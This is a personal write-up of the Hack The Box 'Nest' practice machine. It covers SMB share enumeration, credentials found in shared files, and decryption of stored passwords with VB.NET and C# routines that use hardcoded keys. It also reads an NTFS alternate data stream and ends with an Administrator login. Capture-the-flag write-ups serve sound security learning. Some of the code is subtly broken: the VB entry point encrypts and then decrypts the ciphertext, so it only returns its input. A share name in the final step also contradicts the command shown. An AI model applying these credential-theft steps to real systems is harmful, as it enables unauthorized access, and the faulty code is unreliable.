___               _   ___   ___ 
|  _|_____ ___ ___| |_|_  | |  _|
|  _|     | .'|_ -|   |_| |_| . |
|_| |_|_|_|__,|___|_|_|_____|___|
                 u/fmash16's page

Hackthebox - Nest Writeup

Nmap scan

Open ports:

Enumeration

smbclient

We use smblient to list the shares. And find a share named “Data” using NULL auth.

smbclient -L \\\\10.10.10.178

We connect to the share using

smbclient \\\\10.10.10.178\\Data

We find an interesting file under \Shared\Templates\HR\ named “Welcome Email.txt”. We get the file on our local mahcine using

smb: \Shared\Templates\HR\> get "Welcome Email.txt"

Having a look at the file we find

So we get some creds here. Creds found:

Username: TempUser
Password: welcome2019

Privilege Escalation - User

Encrypted password find

Logging in to the smbserver using these creds, we see that we have access to the IT folder.

smbclient \\\\10.10.10.178\\Data -U TempUser%welcome2019

We find an intersting file RU_config.xml under \IT\Configs\RU Scanner\. Catting out the contents, we find some creds here

<?xml version="1.0"?> <ConfigFile xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Port>389</Port> <Username>c.smith</Username>
  <Password>fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=</Password>
</ConfigFile>

The password seems to be base64 encoded. So we decode it

echo fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE= | base64 -d

The password includes unicode characters. So the hash is not base64. We look around the smbshare more and find something interesting in the config.xml file of notepad++

<History nbMaxFile="15" inSubMenu="no" customLength="-1">
    <File filename="C:\windows\System32\drivers\etc\hosts" />
    <File filename="\\HTB-NEST\Secure$\IT\Carl\Temp.txt" />
    <File filename="C:\Users\C.Smith\Desktop\todo.txt" />
</History>

VB script encryption debug

In “VB Projects/WIP/RU/RUScanner” we find some visual basic scripts. These seem to perform the encryption and decryption of the password of the user. The script Utils.vb contains the decrypt funciton. We can use this script to decrypt the encrypted pass we found using online vb.net compiler here.

Imports System
Imports System.Text
Imports System.Security.Cryptography
        
Public Module Module1

  Public Sub Main()Main
    Console.WriteLine("Decrypted: " + DecryptString(EncryptString("fTEzAfYDoz1YzkqhQkH6GQFYKp1XY5hm7bjOP86yYxE=")))
  End Sub
  
    Public Function DecryptString(EncryptedString As String) As String
        If String.IsNullOrEmpty(EncryptedString) Then
            Return String.Empty
        Else
            Return Decrypt(EncryptedString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function
  
    Public Function EncryptString(PlainString As String) As String
        If String.IsNullOrEmpty(PlainString) Then
            Return String.Empty
        Else
            Return Encrypt(PlainString, "N3st22", "88552299", 2, "464R5DFA5DL6LE28", 256)
        End If
    End Function

    Public Function Encrypt(ByVal plainText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte() = Encoding.ASCII.GetBytes(initVector)
        Dim saltValueBytes As Byte() = Encoding.ASCII.GetBytes(saltValue)
        Dim plainTextBytes As Byte() = Encoding.ASCII.GetBytes(plainText)
        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)
        Dim keyBytes As Byte() = password.GetBytes(CInt(keySize / 8))
        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC
        Dim encryptor As ICryptoTransform
= symmetricKey.CreateEncryptor(keyBytes, initVectorBytes)
        Using memoryStream As New IO.MemoryStream()
            Using cryptoStream As New CryptoStream(memoryStream, _
                                            encryptor, _
                                            CryptoStreamMode.Write)
                cryptoStream.Write(plainTextBytes, 0, plainTextBytes.Length)
                cryptoStream.FlushFinalBlock()
                Dim cipherTextBytes As Byte() = memoryStream.ToArray()
                memoryStream.Close()
                cryptoStream.Close()
                Return Convert.ToBase64String(cipherTextBytes)
            End Using
        End Using
    End Function
  
    Public Function Decrypt(ByVal cipherText As String, _
                                   ByVal passPhrase As String, _
                                   ByVal saltValue As String, _
                                    ByVal passwordIterations As Integer, _
                                   ByVal initVector As String, _
                                   ByVal keySize As Integer) _
                           As String

        Dim initVectorBytes As Byte()
        initVectorBytes = Encoding.ASCII.GetBytes(initVector)

        Dim saltValueBytes As Byte()
        saltValueBytes = Encoding.ASCII.GetBytes(saltValue)

        Dim cipherTextBytes As Byte()
        cipherTextBytes = Convert.FromBase64String(cipherText)

        Dim password As New Rfc2898DeriveBytes(passPhrase, _
                                           saltValueBytes, _
                                           passwordIterations)

        Dim keyBytes As Byte()
        keyBytes = password.GetBytes(CInt(keySize / 8))

        Dim symmetricKey As New AesCryptoServiceProvider
        symmetricKey.Mode = CipherMode.CBC

        Dim decryptor As ICryptoTransform
        decryptor = symmetricKey.CreateDecryptor(keyBytes, initVectorBytes)

        Dim memoryStream As IO.MemoryStream
        memoryStream = New IO.MemoryStream(cipherTextBytes)

        Dim cryptoStream As CryptoStream
        cryptoStream = New CryptoStream(memoryStream, _
                                        decryptor, _
                                        CryptoStreamMode.Read)

        Dim plainTextBytes As Byte()
        ReDim plainTextBytes(cipherTextBytes.Length)

        Dim decryptedByteCount As Integer
        decryptedByteCount = cryptoStream.Read(plainTextBytes, _
                                               0, _
                                               plainTextBytes.Length)

        memoryStream.Close()
        cryptoStream.Close()

        Dim plainText As String
        plainText = Encoding.ASCII.GetString(plainTextBytes, _
                                            0, _
                                            decryptedByteCount)

        Return plainText
    End Function

  
End Module

Decrypting, we find the password.

Creds found:

User: c.smith
Password: xRxRxPANCAK3SxRxRx

smbclient \\\\10.10.10.178\\Users -U c.smith%xRxRxPANCAK3SxRxRx

Listing the files recursively, we find our required user.txt

Privilege Escalation - Administrator

HQK reporting service - Port 4386

From the nmap port scan, we found an open port 4386. Banner grabbing using nc, we find a service “HQK Reporting Service V1.2” running on the port. We get a prompt but cannot execute any commands connecting with nc. We try with telned and get success.

telnet 10.10.10.178 4386

DEBUG mode password - ntfs ADS

But we have limited execution. We can enter a debuyg mode using a debug mode password. We found a file named “Debug Mode Password.txt” in the Users\C.Smith share. We see that the file is empty. Looking around for quite a while, and using some help from the forum , I came to know of ntfs alternate data streams. So basically, data can be stored in the ntfs files in a different stream for obsfucation. We can see that the file has an alternate data stream using allinfo command. We can get the data from the alternate stream executing the following

smb: \C.Smith\HQK Reporting\> allinfo "Debug Mode Password.txt"
smb: \C.Smith\HQK Reporting\> get "Debug Mode Password.txt:Password"

Creds found: > Password: WBQ201953D8w

LDAP creds found

Now, we can use this password to enter debug mode on HQK and get more access to the files. Looking around, we see that directory ../ is HQK/ and contains a folder /LDAP. Going to the directory, we find a file ldap.conf that gives us the creds for the administrator.

Domain=nest.local
Port=389
BaseOu=OU=WBQ Users,OU=Production,DC=nest,DC=local
User=Administrator
Password=yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Creds found:

User: Administrator
Password: yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4=

Decryting encrypted pass debugging HqkLdap.exe(dnSpy)

The password is encrypted. We also found a HqkLdap.exe file there. We can have a look at the file. We found this file in the Users share under “C.Smith/HQK Reporting/AD Integration Module/”. The file is a .NET binary.

In order to debug the file, we use a tool called dnSpy We can decompile the binary into C# code. Looking at the code, we find a class HqkLdap.CR that has a function DS which decrypts the string provided. So we can use this function to decrypt our obtained hash.

We head over to the awesome .netfidler and edit our C# script to decrypt our hash. The script stands

using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
          
public class Program
{
  public static void Main()
  {
    Console.WriteLine("Decrypting Admin Hash...");
    Console.WriteLine(CR.DS("yyEq0Uvvhq2uQOcWG8peLoeRQehqip/fKdeG/kjEVb4="));
  }
}

public class CR
  {
    // Token: 0x06000012 RID: 18 RVA: 0x00002278 File Offset: 0x00000678
    public static string DS(string EncryptedString)
    {
      if (string.IsNullOrEmpty(EncryptedString))
      {
        return string.Empty;
      }
      return CR.RD(EncryptedString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
    }

    // Token: 0x06000013 RID: 19 RVA: 0x000022B0 File Offset: 0x000006B0
    public static string ES(string PlainString)
    {
      if (string.IsNullOrEmpty(PlainString))
      {
        return string.Empty;
      }
      return CR.RE(PlainString, "667912", "1313Rf99", 3, "1L1SA61493DRV53Z", 256);
    }

    // Token: 0x06000014 RID: 20 RVA: 0x000022E8 File Offset: 0x000006E8
    private static string RE(string plainText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
      byte[] bytes = Encoding.ASCII.GetBytes(initVector);
      byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
      byte[] bytes3 = Encoding.ASCII.GetBytes(plainText);
      Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
      byte[] bytes4 = rfc2898DeriveBytes.GetBytes(checked((int)Math.Round((double)keySize / 8.0)));
      ICryptoTransform transform = new AesCryptoServiceProvider
      {
        Mode = CipherMode.CBC
      }.CreateEncryptor(bytes4, bytes);
      string result;
      using (MemoryStream memoryStream = new MemoryStream())
      {
        using (CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write))
        {
          cryptoStream.Write(bytes3, 0, bytes3.Length);
          cryptoStream.FlushFinalBlock();
          byte[] inArray = memoryStream.ToArray();
          memoryStream.Close();
          cryptoStream.Close();
          result = Convert.ToBase64String(inArray);
        }
      }
      return result;
    }

    // Token: 0x06000015 RID: 21 RVA: 0x000023DC File Offset: 0x000007DC
    private static string RD(string cipherText, string passPhrase, string saltValue, int passwordIterations, string initVector, int keySize)
    {
      byte[] bytes = Encoding.ASCII.GetBytes(initVector);
      byte[] bytes2 = Encoding.ASCII.GetBytes(saltValue);
      byte[] array = Convert.FromBase64String(cipherText);
      Rfc2898DeriveBytes rfc2898DeriveBytes = new
Rfc2898DeriveBytes(passPhrase, bytes2, passwordIterations);
      checked
      {
        byte[] bytes3 = rfc2898DeriveBytes.GetBytes((int)Math.Round((double)keySize / 8.0));
        ICryptoTransform transform = new AesCryptoServiceProvider
        {
          Mode = CipherMode.CBC
        }.CreateDecryptor(bytes3, bytes);
        MemoryStream memoryStream = new MemoryStream(array);
        CryptoStream cryptoStream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Read);
        byte[] array2 = new byte[array.Length + 1];
        int count = cryptoStream.Read(array2, 0, array2.Length);
        memoryStream.Close();
        cryptoStream.Close();
        return Encoding.ASCII.GetString(array2, 0, count);
      }
    }

    // Token: 0x04000006 RID: 6
    private const string K = "667912";

    // Token: 0x04000007 RID: 7
    private const string I = "1L1SA61493DRV53Z";

    // Token: 0x04000008 RID: 8
    private const string SA = "1313Rf99";
  }

Running the script, we get our decrypted password for administrator.

Creds found:

User: Administrator
Password: XtH4nkS4Pl4y1nGX

Now we use the creds to get into the C$ share on smb

smbclient \\\\10.10.10.178\\Users -U Administrator%XtH4nkS4Pl4y1nGX

We successfully got in. Now we can read our root.txt file from C:\Users\Administrator\Desktop\root.txt